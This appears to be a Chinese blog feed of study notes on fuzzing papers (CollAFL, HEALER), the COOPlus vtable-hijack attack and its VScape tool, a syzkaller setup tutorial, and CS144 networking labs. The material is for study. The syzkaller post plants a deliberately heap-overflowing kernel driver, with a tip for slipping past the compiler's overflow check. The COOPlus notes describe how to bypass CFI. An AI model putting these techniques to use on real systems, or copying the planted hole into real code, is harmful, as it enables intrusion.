这种重写需要知道对应变量的地址,若索引存放在栈上,则可以通过上面的压栈和弹栈来移动栈指针,达到修改目标地址上索引的目的。
以下几种方式可以防止或缓解 COOP 攻击:
通用防护技术
C++语义敏感技术
现有 fuzz 大多以代码覆盖率为引导指标。以AFL为例,它使用映射至 hashmap 中的基于 edge 的覆盖率信息来引导测试。这种覆盖率信息不太准确,因为只统计至 edge 层面,同时还会产生覆盖 hash 冲突,丢失覆盖率信息,给模糊测试带来一些不良限制。
这篇论文提出了一个新的方式,来达到以下三个目的:
同时,该论文还利用覆盖率信息,提出了三种新的模糊测试策略,加快了发现新路径和漏洞的速度。
下图是一个完整 fuzz 的工作流程,其中黄色标注部分为论文所提出的重点思路:
覆盖粒度大体上可分为三类:
每种粒度各有利弊:
块覆盖:跟踪每个块的命中次数,但不跟踪块的执行顺序。
边覆盖:与块覆盖不同,它将跟踪两个块之间的执行顺序。
同时,还跟踪每条边的命中次数,但不跟踪边的执行顺序。
路径覆盖:跟踪边的执行顺序,提供最完整的覆盖信息。但是,受限于路径长度和路径数量的规模之大,跟踪路径覆盖信息将会导致开销非常高,因此不具有可行性。
综上,边覆盖信息在可行性与覆盖信息之间做了一个折中。但以 AFL 为例,边覆盖信息仍然可能会受到哈希碰撞的影响而导致信息丢失。即便提高 bitmap 的大小,但这仍然无法避免哈希碰撞,并且会对 AFL 的运行带来严重性能开销(因为 AFL 会经常遍历 bitmap 以获取新的覆盖率信息)。
因此接下来将说明 CollAFL 的做法,它将降低哈希碰撞问题发生的影响。
先简单回忆一下 AFL 的 hash 计算方式:$cur \oplus (prev>>1)$。
其中 cur 和 prev 为当前和上一个基础块的 ID。
对 prev 做了一个右移操作是为了区分开基础块 A->B 和 B->A 的差别。
具体的内容可以看看我之前做的笔记 AFL的LLVM_Mode。
而 CollAFL 在原先 AFL 的 hash 计算方式上做了一些改进,它插入了一个三元组 (x,y,z) 作为 hash 计算参数(下称参数)。
边 A-> B 的 hash 计算方程为:$Fmul(cur, prev) = (cur >> x) \oplus (prev >> y) + z$。
其中 AFL hash algorithm 是 (x=0,y=1,z=0) 的一个特例。
从这也可以看出,Fmul 的计算开销与 AFL 差不多。
需要注意的是,CollAFL 为每个基本块来选择参数,而不是为边选择参数。
CollAFL 将通过调整参数,来确保每个通过 Fmul 方程计算出的边的 hash 是不同的。若每个基本块中使用的参数均可以使得每条边的 hash 不同,那么就可以解决 hash 碰撞问题。
但需要注意的是,由于应用程序的基本块过多,因此无法遍历全部的基本块,同时也无法遍历全部的参数。因此实际上 CollAFL 在这个方程的基础之上又做了一些改进,根据以下几种不同的情况,来分别进行不同的操作,以降低 hash 碰撞的概率。
初始时,CollAFL 将使用上述 Fmul 方程,动态计算入边的 hash。以下是 collAFL 贪心搜索合适的参数以计算 Fmul 方程的算法:
输入参数是
如果部分基本块,在有限的 xyz 参数集合中无法找到不会哈希碰撞的参数后,那么该基本块将被放入 Unsolve 集合中;如果能搜索到合适的参数,则目标基本块将放入 Solve 集合中,且搜索到的参数放入 Params 映射里。
最终,calcFmul 函数将输出以下四个:
需要注意的是 Fmul 无法保证通过选择适当的参数来达到防止任何哈希冲突,因此 calcFmul 算法会将可能导致哈希碰撞的基本块单独保存,并使用其他方式处理。calcFmul 能保证的是,calcFmul 解决的基本块中不会产生任何哈希碰撞。
Fmul 的哈希值必须在运行时计算得出。
接下来,collAFL 将会处理那些通过 calcFmul 算法求解后会产生哈希碰撞的基本块。对于这些无法通过 $Fmul$ 方程解决的基本块,其新的 hash 将被称为 $Fhash$,Fhash 的获取算法如下所示:
可以看到,对于这些剩余未解决的基本块来说,随机给每个基本块的每个入边分配一个 hash 值,即是 Fhash 的求解方式。求解完成后,输出此时的哈希表以及剩余尚未分配完成的哈希。
之后,在运行时,Fhash 的值便可以通过查询先前生成的 HaspMap 表得到:$Fhash(cur, prev) = hash_table_lookup(cur, prev)$。
由于哈希表的查找比 Fmul 的算数计算慢的多,因此 Unsol 集合里的基本块数量必须尽可能地小。
若当前遍历到的基本块只有一个基本块,则在该边的结束块中,直接为该边分配一个不与其他 hash 冲突的新 hash 值:$Fsingle(cur, prev) = c$,其中 c 是一个与其他 hash 不同的常量。
这里的 hash 分配,将在给其他基础块计算完 Fmul 和 Fhash 后再来执行,以尽可能地避免哈希碰撞。
由于这里的哈希分配与运行时的基本块前后信息无关(因为此时基本块只有一个前驱基本块),因此可以直接在插桩时便硬编码进入,无需运行时再计算 hash。
由于有大概 60% 以上的基本块只有一条前驱边,因此这样的 hash 分配将会节省 fuzz 的很多开销。
首先。确保哈希值空间大小大于边的数量,否则将无法避免哈希碰撞。
之后,根据上面所介绍的算法与步骤,执行以下操作:
不同哈希算法的开销如下:$cost(Fhash) > cost(Fmul) > cost(Fsingle) \approx 0$
其中,根据经验所示,大部分基础块都只有一个入边,并且 unsol 基础块的数量非常的少:
$num(Fsingle) > num(Fmul) >> num(Fhash) \approx 0$
因此,整体上 collAFL 降低哈希碰撞的方式的实用性是比较高的。
受限于静态分析的精度,一些被间接调用的基本块,可能会被错误归类为只有单个或者没有前驱基本块,影响实际使用效果。
即被间接调用的基本块,可能在调用图上没有明显的调用入边。
因此实际实现时,CollAFL 将会把没有被任何调用点直接调用的函数入口,标记为有多个前驱基本块的入口基本块,即按照有多个前驱基本块的方式(Fmul + Fhash)来计算 hash,强制不走 Fsingle 的这条路。
同时,CollAFL 还会将多个间接调用指令,展开为直接调用指令集合和一条间接调用指令,与 gcc 中的去虚拟化技术类似。
gcc 的去虚拟化技术,指的是通过一系列的分析,最终将一些不确定的虚拟调用点,与确定的虚函数绑定,从而转化成了普通的直接函数调用,去除了间接虚拟调用。
经过上述两步操作后,CollAFL将会减少那些 **被识别为只有单个前驱基本块(或没有前驱基本块)**的基本块数量。
CollAFL 的哈希碰撞降低技术只确保消除已知边的碰撞,因此受限于静态分析技术,仍然可能存在哈希碰撞。
该论文提出了以下种子变异观点:
并根据上述观点,给出三个评估种子权重的方程:
探索未探索过的相邻分支策略:
$$Weight_Br(T) = \sum_{bb\in Path(T) \and <bb, bb_i>\in EDGES}IsUntouched(<bb, bb_i>) $$
探索未探索过的相邻后继节点策略:
$$Weight_Desc(T)=\sum_{bb\in Path(T) \and IsUntouched(<bb, bb_i>)} NumDesc(bb_i)$$
$$NumDesc(bb) = \sum_{<bb, bb_i>\in EDGES} NumDesc(bb_i)$$
探索存在较多内存访问操作的节点策略:
$$Weight_Mem(T) = \sum_{bb\in Path(T)} NumMemInstr(bb)$$
评估分为两部分,分别是评估 CollAFL 降低哈希碰撞策略的效果,以及种子变异策略的效果。
首先给出 AFL fuzz 不同项目的哈希碰撞效果,可以看到,碰撞比率还是比较高的:
接下来再给出 CollAFL 哈希的效果,可以看到相比于 AFL,CollAFL 更好的利用了哈希空间,极大的降低了碰撞比率:
这是 CollAFL 分别使用三种种子变异策略运行200小时后的效果:
可以看到,这三种变异策略均跑出了更多的 crash,取得了不错的效果。
]]>这篇论文介绍了一种面向伪对象编程(COOP)的加强攻击手法,称为 COOPlus。对于那些不破坏 C++ ABI 的虚拟调用保护来说,有相当一部分的 虚拟调用保护手段易受 COOPlus 的攻击。
符合以下三个条件的虚拟函数调用容易受到 COOPlus 的攻击:
COOPlus 本质上是代码重用攻击,它在目标虚拟函数调用点上调用符合类型但不符合上下文的虚拟函数。该调用可通过 C++ 语义感知的 控制流完整性 CFI 检测,但由于调用上下文不同,因此可能会造成进一步的利用。
除了 COOPlus 以外,该论文还提出了一种解决方案 VScape,用来评估针对虚拟调用攻击保护的有效性。
论文 + 幻灯片 - USENIX security 21
在进一步学习 COOPlus 之前,我们需要了解一下现有的虚拟调用保护手法。
由于大部分 vtable 劫持攻击都涉及到纂改 vptr,因此一种简单的方式是确保 vptr 完整性,例如通用数据流完整性技术 DFI。但通常精度不高,且运行时开销较大,不太实用。
另一种方式是破坏掉了 C++ 的 ABI,例如有些保护方法将 vptr 放入单独的 元数据表中,并利用硬件功能(例如英特尔内存保护扩展插件)来确保元数据表的完整性,防止 vptr 被纂改。由于 ABI 被破坏,因此此类的保护方式会导致较为严重的兼容问题,实用性也不大。
第三种保护方式是,检查每个虚拟调用目标的有效性。这个保护方式在之前阅读的论文 《SHARD: Fine-Grained Kernel Specialization with Context-Aware Hardening》中也用到过,通过检查 vptr 指向位置的有效性,来确认调用的虚函数是否是正确的。
对于 CFI 技术来说,其解决方案均以安全性和实用性为目标。其中对于粗粒度(即不考虑C++语义或类型信息)的CFI方式来说,无法防止虚拟函数调用攻击;而细粒度 CFI 解决方案将会考虑更多的信息来提供更强的防御。
在说明 COOPlus 攻击之前,我们必须先说明一下 COOP 攻击,以了解 COOPlus 攻击所提出的改进点。这篇论文中对 COOP 攻击描述的不多,因此我找了一下提出 COOP 的论文,大概的看了一下。
COOP,即面向伪对象的编程。这个攻击方式在 2015 年被首次提出,直至现在其论文引用量多达三百余次。
COOP 攻击受限于篇幅,将在另一篇文章中记录。
COOPlus 攻击的目的是为了绕过 C++语法感知的 CFI 解决方案,因此其他漏洞缓解措施(例如 ASLR、DEP等等)以及其他漏洞利用手法等暂时不做考虑。
与 COOP 攻击不同,COOPlus 调用的是类型兼容的虚拟函数来绕过更强的防御。
COOPlus 攻击的条件是:
该攻击的原理如下图所示:
一图胜过千言万语。
通俗的说,主要攻击过程概括如下:
假设有三个类,分别是基类 Base 类,Base 派生类 S1,另一个 Base 派生类 S2。其中 S1、S2 是否也是派生关系并不重要。只要确保 S1 类和 S2 类都是从基类 Base 类中派生出来的即可。
寻找一个派生类 S1 调用 Base 基类虚函数的函数调用进行劫持
利用给定的漏洞(例如一字节越界写)来修改派生类 S1 的 vptr 为 另一个 Base 类的派生类 S2 (简称 counterfeit 类) 的 vptr。
即 S1 类和 S2 类都是从基类 Base 类中派生出。
而对于虚函数调用来说,由于 vcall 肯定是通过基类指针进行调用,而 S1 和 S2 都是基类的派生类,因此在 C++ 语义敏感层面将通过检查。因为从基类 ptr 调用派生类虚函数是非常正常的事情,除非保护手法非常的细粒度,否则就无法检测出这类利用方式。
个人猜测正是因为这点使得 COOPlus 可以绕过相当一部分的C++ 语义敏感的保护手法。
接下来,由于 victim 类的 vptr 被修改为 counterfeit 类(伪造类),因此 victim 类的所有虚函数调用最终都将调用到 counterfeit 类的虚函数。
如上图所示,当被篡改 vptr 后的 victim 类对象调用虚函数 func1
时,它将不再调用 S1::func1
,而是调用 S2::func2
。
由于 S2 和 S1 的类布局不同,因此可能会存在一些 S1 所没有的字段(例如图中的 memberM
)。
而 S1 调用了 S2 的 func1,因此将超过 S1 类对象的内存界限进行内存访问,最终造成内存越界操作。
当 victim 类对象的函数操作可以造成内存越界后(内存越界到的对象称为中继对象 Relay object),我们便可以利用这种内存越界来精心修改 Relay object 上的字段,例如 length 等等,来进一步放大漏洞危害(最初的漏洞是一字节越界写)。
对于不同的 counterfeit 函数,大致将其分为以下几类可利用的 vfgadget:
Out-of-bound Read
鉴于这四种 gadget 都分类至 OOB read,因此推测这里的 目标内存 应该指的是 victim Object 上的成员变量,或者特定其他堆空间等等。
Out-of-bound Write
COOPlus 攻击无需用到较为高危的漏洞,只需用到简单的低危漏洞即可放大漏洞影响,实用性较好。由于 victim 基类和 counterfeit 派生类通常都在同一个模块中定义,因此其 vtable 的分布也较为相近。漏洞对 vptr 一字节的改动也有可能产生另一个兼容 vptr,并成功利用 COOPlus。
但即便如此,若原始漏洞的效果较低,那么其 COOPlus 可用利用原语的条目数量也会降低。例如一字节越界写只能修改 vptr 正负偏移 255 字节左右,范围不够大。
若给定一个目标程序、一个漏洞以及当前使用的虚拟调用保护方式,判断能否通过发起 COOPlus 来绕过 CFI 保护是比较艰难的,尤其是目标程序很大的时候。
这是因为若想发起 COOPlus 攻击,则需要找到适当的攻击原语元组 (vcall, victim class, counterfeit class),同时
除此之外,我们还需要生成适当的输入,使得可以触发目标 vcall,接着触发 counterfeit 函数并最终导致内存越界操作,这整个过程同样也是一项较为艰难的任务。
因此 该论文提出 VSCape 这样的一个解决方案,用来自动编译候选的原语,并过滤出实用且可达的原语,辅助生成最终的漏洞利用来绕过 vcall 保护。
这是 VScape 的整体架构,接下来将分别在下面详细说明每个模块:
这个工具虽然在实际中我们可能不会太用到,但是了解一下整体的设计也是一个学习的过程。
VScape 将使用传入的目标程序源码,在编译期间收集与 vcall 相关的信息:
从上一步获取到的信息中,VScape 将继续筛选出可用于攻击的攻击原语元组。
首先,VScape 将构建类继承(class inheritance hierarchy ,CHI) 树
初始化全局编号, 该编号用于记录目标虚拟函数(注意不是所有虚拟函数)的版本,从0开始
在 CHI 树中运用 BFS,给每个类节点编号,以记录目标虚拟函数的版本。
若子类使用的虚函数是父类版本,则将父类的 ID 分配给子类,否则将全局编号自增1并赋给子类。
这样操作后,VScape 就可以获得对应 vcall 的带版本号的 CHI 树。即最终可以形成可用的攻击原语 (vcall, victim class, counterfeit class)。
但这里存在一个问题,由于 vcall 数量规模非常的大,而且类也很多,因此这样一套搜索可能会消耗非常长的时间,不过这还是取决于具体实现。
在有了多组攻击原语后,接下来需要判断这些原语在漏洞利用中所能起到的作用。
正如上面将 vfgadget 分成多种类型一样,VScape 在这里也将对不同类型的 vfgadget 进行不同的处理。
对于OOB-read,分析读取的值用作加载 PC 还是用作写入目标内存地址。如果是后者则还会通过污染分析来判断待写入的值能否被敌手控制。
对于 OOB-write,分析写入的值是否是指针,如果是则进一步查找中继对象的使用方式,来尝试找到绕过 ASLR 的地方。
在获取到大量攻击原语后,需要进一步过滤出可用的原语。
在给定漏洞描述之后,VScape 还会了解目的堆分配器的相关信息,并过滤出那些:
victim object 与 可触发漏洞的 buf 分配在同一个堆中的 候选原语。
因为若分配不在同一个堆,则自然这些攻击原语将无法利用。
若想触发 vcall 中的特定目的(例如写入数据或读取),则必须在特定内存状态下运行,例如类的某些字段必须为某些特殊值,否则将不满足 vcall 的条件判断,进而无法执行到目标位置。
VScape 将通过污点分析和符号执行来进一步确认。VScape将把 victim object 和相邻的中继对象标记为符号值,并以符号方式执行那些会越界访问到中继对象的伪造函数。
很容易理解为什么要将中继对象也作为符号值,这是因为伪造函数可能会使用到一些越界内存上的值,而这些内存上存放的是中继对象。
在上面 VScape 已经对原语结构进行了简单的过滤,接下来仍然有三个问题需要解决:
首先对于第一点,VScape 通过定向 fuzz 技术,使用给定的基准测试数据,尽可能地得到一个不完整的可达 victim 函数列表。VScape 将在目标 vcallsite 后插入 callback 以记录调用的 victim function 和 testcase。
对于第二点,VScape 把经过上面第一点处理后的 testcase 作为输入,在目标程序执行至目标 vcallsite 后保存此时的执行上下文,并让符号执行引擎在此时的上下文对伪函数进行符号执行操作,以获取执行伪函数 OOB 操作的数据依赖。
类似的,中转对象也会被作为符号值一并用于符号执行中。
VScape 无法自动化生成漏洞利用,它必须依赖用户给定的 exploit 模板来构成完整的漏洞利用链。
用户必须手动:
以这个漏洞模板为例:
main 函数中的黑色字体函数调用是必须由人工手动完成,而红色字体的函数调用是 VScape 可以辅助完成的工作。
VScape 的评估主要基于三个层面:
根据 slides 中给定的结论,我们可以看到 COOPlus 攻击在大项目中比较实用。
而对于那些 vcall 保护机制,COOPlus 可以绕过满足既定攻击条件的保护。
既定攻击条件,即不破坏C++ ABI,不保证 vptr 完整性以及允许在 vcallsite 上调用多个目标。
论文中还给出了对于 PyQt 和 Firefox 的利用评估,这里不再展开。
]]>Healer 是受 Syzkaller 启发的 kernel fuzz。
与 Syzkaller 类似,Healer 使用 Syzlang 描述所提供的 syscall 信息来生成确认参数结构约束和部分语义约束的系统调用序列,并通过不断执行生成的调用序列来发现内核错误,导致内核崩溃。
与 Syzkaller 不同,Healer 不使用 choise table,而是通过动态移除最小化调用序列中的调用并观察覆盖范围变化来检测不同系统调用之间的内部关系,并利用内部关系来指导调用序列的生成和变异。此外,Healer 还使用了与 Syzkaller 不同的架构设计。
论文地址:HEALER: Relation Learning Guided Kernel Fuzzing
项目地址:github
先上一张概述图:
初始时,Syscall 描述 + 语料将被喂入 healer中,并在其中通过 Relation Learning 来获取出不同 syscall 之间的内部关系,之后可以通过生成的内部关系来达到更好的变异与生成效果。
Relation
,在这篇论文中,指代不同 syscall 之间的内部关系。
Healer 会将 testcase 放入 Executor 中执行,并获取执行的覆盖范围信息来更好的运行 Relation Learning 中的 Dynamic Learning。
该论文虽然特别的长,但实际上核心思想较为简单,只分为三部分,分别是
Healer 使用 Relatino learning 来动态感知 syscall 之间的内部关系。其中这里有个定义:
若某个 syscall $C_i$ 的执行可以影响到另一个 syscall $C_j$ 的执行路径(例如 $C_i$ 修改了内核的内部状态),则我们称 $C_i$ 对 $C_j$ 产生了影响。
Healer 使用二维表$R^{n \times n}$ (Relation Table,关系表)来记录任意 n 个 syscall 中的内部关系:
初始时,healer 没有记录下任何 syscall 之间的内部关系,因此该表格初始时全为 0。
接下来,Relation Learning 分为两部分
初始时,Static Learning 将会根据 Syzlang 描述所提供的信息来初始化 Relation Table。其中,参数类型和返回值类型对静态分析至关重要。
当同时满足以下两个条件时,static learning 将认为 syscall $C_i$ 对 $C_j$ 产生影响,并设置 Relation Table 中的 $R_{ij} = 1$:
$C_i$的返回值类型是一种 resource 类型 $r_0$ ,或者$C_i$ 中的任何一个参数是一个具有向外数据流方向的指针。
这一条其实相当好理解,主要是限制 $C_i$ 的作用是产生向外数据流。
$C_j$ 中至少有一个参数的类型是 具有向内数据流的 resource 类型 $r_0$或与 $r_0$相兼容的类型 $r_1$。 由于 syzlang 支持类型嵌套(或者类型兼容),因此类型 $r_1$ 也是符合要求的。
这两个条件显示约束了数据流方向,必须从$C_i\to C_j$ ,这是静态学习中所能得知的 Relation。
可以将静态学习理解成捕获两个系统调用之间的直接关系(例如数据流关系)。
动态学习可以使用 syzlang 无法表达的信息来更好的更新和细化关系表,以便于生成更高质量的测试用例。
初始时, healer 会先单独收集 syscall 序列中的每个 syscall 的覆盖范围,并存储其触发的基本块和边的标识符序列,以便于在接下来的测试中发现新的覆盖范围信息。
之后,Dynamic Learning 将会使用 minimization 算法,获取到尽可能小且覆盖范围不变的系统调用序列。
这一步操作是为了过滤掉那些对新覆盖范围无用的系统调用,并加强分析效果。
minimization 算法将反向遍历系统调用序列,提取出那些没有被包含在其他最小序列中(防止重复)且生成了新覆盖范围信息(有新覆盖才有用)的系统调用。
该算法的核心思想较为简单,先上图:
简单概括一下,该算法的输入有两个,分别是
之后,尝试从后向前依次遍历每个系统调用,
这一步的操作只是为了删除不影响覆盖范围的系统调用。
在完成 minimization 算法后,Dynamic Learning 将会在最小系统调用序列中,逐渐的移出单个 syscall 并检测每个移出操作对下一个 syscall 的影响,这是其具体算法描述:
其实也很简单,简单概括一下就是,
在给定的最小系统调用序列中,依次遍历该序列中的所有 syscall。
设当前遍历到了系统调用 $C_j$,且 $C_i$ 是 $C_j$ 的前一个系统调用(previous)。
若将 $C_i$ 从系统调用序列中删除,且该删除将会影响到 $C_j$ 的覆盖范围信息,则说明 $C_i$ 对 $C_j$ 产生了影响,因此可以设置 $R_{ij} = 1$。
这里有个关键点需要注意一下:对于系统调用序列 $[C_0, C_1, C_2]$ 来说,若 $C_1$ 的移除影响到 $C_2$ 的覆盖范围,则我们可以确定 $C_1 \to C_2$ 存在影响关系。但是,若 $C_0$ 的移除导致了 $C_2$ 的覆盖范围发生改变,则不能说明 $C_0 \to C_2$。这是因为,$C_0$ 的移出可能导致 $C_1$ 覆盖范围的变化,进而间接影响到 $C_2$ 覆盖范围的变化。
通过上述的两个算法,healer 成功通过覆盖范围信息来指导建立起系统调用之间的内部关系信息。
可以将动态学习理解成捕获两个系统调用之间的间接关系(例如内核内部的状态改变关系)。
当 Relation Table 通过上面的算法逐步建成后,该信息将会被用于指导变异和生成。抛开那些常用的变异手法(例如随机插入 syscall 或者变异参数类型等方法),这里只讲一下 healer 如何利用 Relation table 来进行变异。
首先,Healer 对语料库现有的系统调用序列执行变异,在选择了某个变异目标后,healer 将
变异算法具体描述如下:
通俗的说,就是
需要注意的是,在 healer 初始启动时,Relation Table 中并没有太多的数据可以用于指导变异和生成,此时若过度使用信息不足的关系表则可能会降低测试用例的多样性;但另一方面,要是完全不使用 Relation Table,则测试用例的质量就不会太高(而且完全不使用的话,上面的工作就白做了)。
因此实际上该变异算法中的 $\alpha$ 是用来平衡这两者的一个关键:若在使用学习到的 Relations 时覆盖率信息增加,则$\alpha$也将同步增加,进一步提高使用非随机变异策略的概率。
在24小时中的 fuzz 过程里,healer 可以获得比 syzkaller 更广的覆盖率:
需要注意的是,初始时 healer 和 syzkaller 的覆盖率曲线是重合的,这是因为此时 healer 还没有建立完备的 Relation Table,使用的仍然是随机变异。
下图显示的是建立 Relation 的全过程(图中的每个点表示不同的 syscall,有向边表示影响关系):
初始时,Relation 是根据静态分析所得出的关系,因此此时在关系图中存在非常多的子图。
随着时间的推移,更多的隐式关系被找出,不同的子图开始慢慢相连。并到最后形成巨大的关系图。
除此之外,还发现了一些 syzkaller 没发现的新漏洞。
syzlang 描述本身在大多数情况下是人工编写生成的,人工成本较大,且描述的正确性和完整性也不能保证。
一个可能的解决方案是自动将 C 头文件中的定义转换为Syzlang描述,保存原始的结构定义。
这篇论文整体思路上并不复杂,但它确确实实能捕获到系统调用之间的关系,而且在各个思路与细节方法均考虑的十分周全,是一篇相当不错的论文。
]]>Syzkaller 是一个无监督的覆盖引导的内核 fuzzer,是目前类似里程碑一样的 fuzz 。
项目地址 - syzkaller
本人对 syzkaller 的工作机制比较感兴趣,同时课题组也会经常用到 syzkaller,因此了解 syzkaller 是一个必不可少的过程。
在研究内核fuzz的工作机制之前,我们需要先学会如何搭建它的环境。
syzkaller 使用 Go 语言编写,因此需要获取 go 语言的 tool chain。不过我倒没怎么在这上面踩过坑,直接
1 | sudo apt-get install golang # 此时的 golang 是 1.15 版 |
就完成了所有 syzkaller 程序的编译。
qemu 安装不多说
1 | sudo apt install qemu-system-x86 |
接下来是获取内核源码,要拉n久:
1 | git clone https://mirrors.tuna.tsinghua.edu.cn/git/linux.git |
本人使用的 git commit id: a90af8f15bdc9449ee2d24e1d73fa3f7e8633f81
参考一下 syzkaller 官方文档,先 make defconfig
生成默认的内核编译配置,之后手动在 .config
文件中添加以下选项:
添加这些选项的目的是为了更好的被测试。
1 | # Coverage collection. |
之后重新 make olddefconfig
更新编译参数,并执行以下命令以编译完整内核(包括驱动):
1 | make -j `nproc` |
配置Imgage 镜像
首先安装 debootstrap,它是 linux 下用来构建一套基本根文件系统的工具。
1 | sudo apt-get install debootstrap |
之后在 linux 项目目录下键入以下命令,以创建 Debian Stretch Linux image:
1 | mkdir image |
创建好后,同级目录下会多出几个文件:
上述操作全部完成后,执行以下命令来尝试启动
注意自行替换 kernel 和drive file 的路径。
1 | qemu-system-x86_64 \ |
如果成功的话,就会出现 syzkaller login。用户名键入root
,无需输入密码,即可进入终端:
之后我们还可以再另外一个终端里键入以下命令以进入 ssh
之所以还要测试 ssh 能否成功工作,是因为 syzkaller 会用到 ssh。
1 | ssh -i $IMAGE/stretch.id_rsa -p 10021 -o "StrictHostKeyChecking no" root@localhost |
确认无误后,直接执行 poweroff
关闭 kernel。
尝试执行 syzkaller-manager
先新建一个my.cfg
,这个文件将是 syzkaller 的配置文件,内容如下:
务必自行替换里面的各种路径。
1 | { |
之后开跑看看:
1 | cd syzkaller |
貌似跑的相当顺利:
syzkaller Web端 也工作正常:
很好,环境这边没咋踩坑(笑)
俗话说,是骡子是马拉出来溜溜,我们将一个带有漏洞的驱动编入 kernel,之后尝试让 syzkaller fuzz出来。
这里主要参考链接 github 中的 syzkaller crash demo 演示。
这里,我们使用的是其他人已经准备好的漏洞驱动 test.c 。
简单讲讲这个漏洞驱动:
初始加载驱动时,会在 /proc
文件夹下创建文件 proc
。而针对于该 proc 的读写操作,内核实际会调用 proc_*
系列函数来进行处理。
1 |
|
驱动中的漏洞代码部分如下所示,可以看到当我们针对 proc
文件进行写入操作时,会造成内核堆溢出:
1 | static ssize_t proc_write (struct file *proc_file, const char __user *proc_user, size_t n, loff_t *loff) |
尝试将其加载进内核。
1 | # 下载源代码至 linux/drivers/char/test.c |
报错,提示:
这里主要有两个地方出问题:
原先代码中使用的 struct file_operations
需要替换成 struct proc_ops
linux kernel 编译时会进行静态编译检测,这类通过静态推断便能得出的溢出问题将不予编译:
1 | char *c = kmalloc(512, GFP_KERNEL); |
绕过静态检测也很简单,引入一个可变量即可。
因此我简单修改了一下这个驱动文件,修改后如下所示:
1 |
|
然后make
一下,之后就可以在 /proc/test
下找到目标 proc:
1 | root@syzkaller:~# ls -al /proc/test |
很好,漏洞驱动已经成功加载进 kernel 中,接下来直接 poweroff 掉,开始配置 syzkaller。
在 syzkaller/sys/linux/
创建一个对应于这个漏洞驱动的处理规则 test.txt
(名字取什么无所谓),内容如下:
1 | include <linux/fs.h> |
在 syzkaller 项目根目录下执行以下命令以创建对应的 .const 文件
1 | bin/syz-extract -os linux -sourcedir "/usr/class/linux" -arch amd64 test.txt |
执行以下命令重新构建 syzkaller
1 | bin/syz-sysgen |
此时 syzkaller 构建完成。
可能你会有些疑问,为什么要配置这些规则,这些规则的配置基于什么,它的语法结构是什么样的。
以及,为什么要创建 .const 文件,创建后为什么要再跑一遍 syz-sysgen。
这些问题正是我写下这行文字时所产生的疑问。
不过暂时不急,因为后面都会慢慢讲到。
在最后真正的执行前,我们需要修改一下 syzkaller 的运行配置。修改 my.cfg ,添加上以下内容:
1 | "enable_syscalls": [ |
之后执行 syzkaller 开跑:
1 | bin/syz-manager -config my.cfg -vv 10 |
过一小段时间(很快)后便可以得到:
此时 syzkaller 正在复现 crash,crash样例不太直观:
不过问题不大,再等亿段时间,我们便可以在网页端查看到其效果 可能是我点背,等了半个小时没等到 reprocude 结束(复现要花n久的时间…):
试用了一段时间,不得不说一下,当 syzkaller 检测到 crash 时,貌似它会停下所有 VM 跑来复现这个 crash。这样的话个人感觉可能会带来一点性能开销?(不是很懂)
这里记录了笔者学习 CS144 计算机网络 Lab6 的一些笔记 - IP Router 路由器 的实现
CS144 Lab6 实验指导书 - Lab Checkpoint 6: building an IP router
个人 CS144 实验项目地址 - github
在这个实验中,我们将完成一个简易路由器,其功能是:对于给定的数据包,确认发送接口以及下一跳的 IP 地址。为了简化实验难度,该实验中无需处理任何复杂路由协议,实验代码最多只需30行。
当前我们的实验代码位于 master
分支,而在完成 Lab 之前需要合并一些依赖代码,因此执行以下命令:
1 | git merge origin/lab6-startercode |
之后重新 make 编译即可。
这里的 Router 实现比较简单,只需实现一下 IP 最长匹配并将数据包转发即可。
类私有成员实现如下:
1 | class Router { |
类函数方法实现如下:
1 | //! \param[in] route_prefix The "up-to-32-bit" IPv4 address prefix to match the datagram's destination address against |
这是 CS144 的测试网络拓扑:
以下是我的测试结果:
]]>这里记录了笔者学习 CS144 计算机网络 Lab7 的一些笔记(?)
这也是 CS144 的最终实验(终于快完结了)
CS144 Lab7 实验指导书 - Final checkpoint: putting it all together
个人 CS144 实验项目地址 - github
该实验无需进行任何编码操作。
同时我们还可以在这个实验中,将之前7个实验里所有实现的内容全部粘合在一起,并与真实网络进行通信。
这是最终粘合的效果:
当前我们的实验代码位于 master
分支,而在完成 Lab 之前需要合并一些依赖代码,因此执行以下命令:
1 | git merge origin/lab7-startercode |
之后重新 make 编译即可。
在两个终端分别执行以下两个命令
1 | ./apps/lab7 server cs144.keithw.org 3000 |
1 | ./apps/lab7 client cs144.keithw.org 3001 |
便可以看到两个服务成功相互连接:
CS144 最终全部测试结果如下:
CS144 圆满结束!完结撒花!
]]>这里记录了笔者学习 CS144 计算机网络 Lab5 的一些笔记 - 网络接口 network interface(也被称为适配器) 的实现
CS144 Lab5 实验指导书 - Lab Checkpoint 5: down the stack (the network interface)
个人 CS144 实验项目地址 - github
当前我们的实验代码位于 master
分支,而在完成 Lab 之前需要合并一些依赖代码,因此执行以下命令:
1 | git merge origin/lab5-startercode |
之后重新 make 编译即可。
TCP报文有三种方式可被传送至远程服务器,分别是:
TCP-in-UDP-in-IP:用户提供 TCP 包,之后可以使用 Linux 提供的接口,让内核来负责构造 UDP 报头、IP报头以及以太网报头,并将构造出的数据包发送至下一个层。因为这一切都是内核完成的任务,因此内核可以确保每个套接字都具有本地地址与端口,以及远程地址与端口的唯一组合,同时能保证不同进程之前的隔离。
TCP-in-IP:通常,TCP数据包是直接放进 IP 包作为其 payload,这也因此被称为 TCP/IP。但用户层如果想直接操作构造 IP 报文的话,需要使用到 Linux 提供的 TUN 虚拟网络设备来作为中转。当用户将 IP 报文发送给 TUN 设备后,剩余的以太网报头构造、发送以太网帧等等的操作均会由内核自动进行,无需用户干预。
这一个正是之前 Lab4 中 CS144 所使用的机制,感兴趣可以仔细读读代码。
TCP-in-IP-in-Ethernet:上面两种方式仍然依赖Linux内核来实现的协议栈操作。每次用户向TUN设备写入IP数据报时,Linux 内核都必须构造一个适当的链路层(以太网)帧,并将IP数据报作为其 payload。因此 Linux 必须找出下一跳的以太网目的地址,给出下一跳的IP地址。如果 Linux 无法得知该映射关系,则将会发出广播探测请求以查找到下一跳的地址等信息。而这种功能是由网络接口 network interface (也被称为适配器,两者等价)所实现,它将会把待出口的 IP 报文转换成链路层(以太网)帧等等,之后将链路层帧发送给 TAP 虚拟网络设备,剩下的发送操作将会由它来代为完成。
比较熟悉的网络接口分别是 eth0, eth1, whan0 等等。
网络接口的大部分工作是:为每个下一跳IP地址查找(和缓存)以太网地址。而这种协议被称为地址解析协议ARP。
在本实验中,我们将会完成一个这样的网络接口实现(有点小期待)。
在编写代码前,我们需要简单的了解一下 ARP 协议。
